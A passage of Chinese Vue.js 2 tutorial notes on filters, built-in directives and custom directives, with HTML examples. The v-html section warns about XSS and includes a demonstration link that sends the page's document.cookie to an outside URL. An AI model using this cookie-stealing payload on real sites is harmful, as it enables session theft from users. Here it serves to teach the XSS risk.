:x="msg |myslice">阿托莉</h3> </div> <div id="root2"> <h1>{{name|myslice}}</h1> </div> <script type="text/javascript"> // 全局过滤器 Vue.filter('myslice',function(value){ return value.slice(0,4) }) const vm=new Vue({ el:'#root', data:{ time:Date.now(), msg:'时间啊，你是多么美丽' }, methods: { getFmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, computed:{ fmtTime(){ return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss') } }, //局部过滤器 filters:{ timeFormater(value,str='YYYY年MM月DD日 HH:mm:ss'){ return dayjs(value).format(str) }, } }) new Vue({ el:'#root2', data:{ name:'hello world' }, }) </script></body></html>

29.内置指令前面学过的指令：1.v-bind：单向绑定解析表达式，可简写为:xxx2.v-model:双向数据绑定3.v-for：遍历数组/对象/字符串4.v-on：绑定事件监听，可简写为@5.v-if：条件渲染（动态控制节点是否存在）6.v-else：条件渲染（动态控制节点是否存在）7.v-show：条件渲染（动态控制节点是否展示）1.v-textv-text指令：1.作用：向其所在的节点中渲染文本内容2.与插值语法的区别：v-text会替换掉节点中的全部内容，{{xxx}}不会<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <div>你好，{{name}}</div> <div v-text="str">hello</div> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ name:'亚托莉', str:'时间啊，你是多么的美丽', }, }) </script></body></html>

2.v-htmlv-html指令1.作用：向指定节点中渲染包含HTML结构的内容2.与插值语法的区别：（1）v-html会替换节点中所有的内容，{{xx}}则不会（2）v-html可以识别HTML结构3.严重注意：v-html有安全性问题（1）在网站上动态渲染任意HTML是十分危险的，容易导致xss攻击（2）一定要在可信的内容上使用v-html，永不要用在用户提交的内容上<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <div>你好，{{name}}</div> <div v-text="str1">hello</div> <div v-html="str2"></div> <div v-html="str3"></div> </div> <script type="text/javascript"> const vm=new Vue({ el:'#root', data:{ name:'亚托莉', str1:'时间啊，你是多么的美丽', str2:'<h1>你好</h1>', str3:'<a href=JavaScript:location.href="http://www.baidu.com?"+document.cookie>盗取本网页cookie</a>' }, }) </script></body></html>

v-cloakv-cloak（没有值）1.本质是一个特殊属性，vue实例完毕并接管容器后，会删掉v-cloak属性2.使用css配合v-cloak可以解决网速慢时页面显示{{xxx}}的问题<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> /* 为vue为到达前将有cloak属性的标签隐藏起来 */ [cloak]{ display: none; } </style></head><body> <div id="root"> <div v-cloak >你好，{{name}}</div> <div v-text="str1" v-cloak>hello</div> </div> <script> const vm=new Vue({ el:'#root', data:{ name:'亚托莉', str1:'时间啊，你是多么的美丽', }, }) </script></body></html>

3.v-oncev-once指令：1.v-once所在节点在初次动态渲染后，就视为静态内容了2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> /* 为vue为到达前将有cloak属性的标签隐藏起来 */ [cloak]{ display: none; } </style></head><body> <div id="root"> <h2 v-once>初始化的n值为{{n}}</h2> <h2>当前的n值为{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script> const vm=new Vue({ el:'#root', data:{ n:1 }, }) </script></body></html>

4.v-prev-pre指令：1.跳过其所在节点的编译2.可以利用它跳过：没有使用指令语法，没有使用插值语法的节点，会加快编译<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body> <div id="root"> <h2 v-pre>v-pre跳过编译</h2> <h2 v-once v-pre>初始化的n值为{{n}}</h2> <h2>当前的n值为{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script> const vm=new Vue({ el:'#root', data:{ n:1 }, }) </script></body></html>

30.自定义指令-函数式和对象式自定义指令总结：一、定义语法：(1)局部指令：new Vue({directives:{指令名：配置对象}})或new Vue({directves(){}})(2)全局指令：Vue.directive(指令名，配置对象)或Vue.directive(指令名，回调函数)二、配置对象中常用的3个回调：（1）bind:指令与元素成功绑定时调用（2）inserted:指令所在元素被插入页面时调用（3）update:指令所在模板被重新时调用。三、备注：1.指令定义时不加v-，但使用时要加v-2.指令名如果是多个单词，要使用Kebab-case命名方式，不要用camelCase命名<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style></head><body>  <div id="root"> <h1>{{str}}</h1> <h2>当前的n值是：<span v-text="n"></span></h2> <h2>放大10倍后的n值是：<span v-big="n">放大10倍后的n值是：</span></h2> <button @click="n++">点我n+1</button> <hr> <input type="text" v-fbind:value="n"> </div> <script> const vm=new Vue({ el:'#root', data:{ str:'时间啊，你是多么的美丽', n:1 }, directives:{ // big函数何时会被调用？1.指令于元素成功绑定时（一上来）2.指令所在的模板被重新解析时 big(element,binding){ console.log('big被调用') element.innerText=binding.value*10 }, fbind:{ // 指令于元素成功绑定时（一上来） bind(element,binding){ element.value=binding.value }, // 指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element,binding){ element.value=binding.value } } } }) </script></body></html>

31.引出生命周期

本文链接地址:https://www.jiuchutong.com/zhishi/268614.html 转载请保留说明！

上一篇：RSync文件备份同步 Linux服务器rsync同步配置图文教程

下一篇：中了“永恒之蓝”勒索病毒如何解决？怎么预防？(永恒之蓝是)